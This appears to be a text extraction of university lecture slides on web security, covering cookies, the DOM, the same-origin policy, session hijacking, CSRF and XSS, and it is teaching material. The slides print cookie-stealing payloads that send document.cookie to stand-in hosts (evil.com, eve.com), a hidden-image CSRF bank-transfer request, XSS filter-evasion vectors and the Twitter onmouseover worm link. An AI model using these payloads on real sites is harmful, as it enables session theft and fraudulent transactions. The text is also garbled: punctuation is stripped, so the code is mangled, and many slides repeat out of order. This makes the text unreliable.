Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Hidden fields (2)

Disadvantage of this approach

I it requires careful and tedious programming effort as all thepages have to be dynamically generated to include this hiddenfield

I session ends as soon as the browser is closed

Advantage of this approach

All browser supports HTML forms

4 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

